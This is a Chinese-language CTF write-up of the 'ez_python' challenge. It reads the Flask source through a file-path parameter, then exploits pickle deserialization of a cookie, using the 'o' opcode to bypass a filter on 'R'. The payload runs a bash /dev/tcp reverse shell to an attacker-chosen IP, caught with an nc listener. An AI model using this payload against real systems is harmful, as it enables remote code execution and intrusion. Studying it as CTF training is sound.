python反序列化以及反弹shell

python反序列化以及反弹shell(长城杯ez_python)

首先我们打开页面,发现一张图片,然后构造

1
?pic=/app/app.py

读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
def __init__(self,name,age):
self.name = name
self.age = age

def check(s):
if b'R' in s:
return 0
return 1


@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))

try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()

return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
app.run('0.0.0.0',port=8888)

在源码中看到

1
2
3
4
5
6
7
8
import pickle

user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]

return render_template('index.html', uname=username, pic=p )

可知我们可以使用user这个利用点,来进行python反序列化,从而执行我们输入的命令,但是我们不知道flag在哪个文件中,所以我们可以使用反弹shell

1
bash -c "bash -i >& /dev/tcp/ip/port 0>&1

所以我们可以写一个exp对反弹shell的命令进行python序列化

1
2
3
4
5
6
7
8
9
10
import base64
import pickletools

a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''

a = pickletools.optimize(a)
print(base64.b64encode(a))

其中ip是写公网ip,port端口自己定义,公网ip可以自己租一个服务器来接受反弹的shell

然后抓包,并在cookie中加入

1
user=上面脚本生成的base64编码的数

然后在服务器中的命令行中输入

1
nc -lvvp 端口

来监测我们反弹shell的端口,然后放包,我们可以获得shell,执行ls命令,发现flag在flagggggggggggggaaa文件中,所以我们再执行

1
cat flagggggggggggggaaa

即可获得flag

参考文章:https://blog.csdn.net/HBohan/article/details/119571814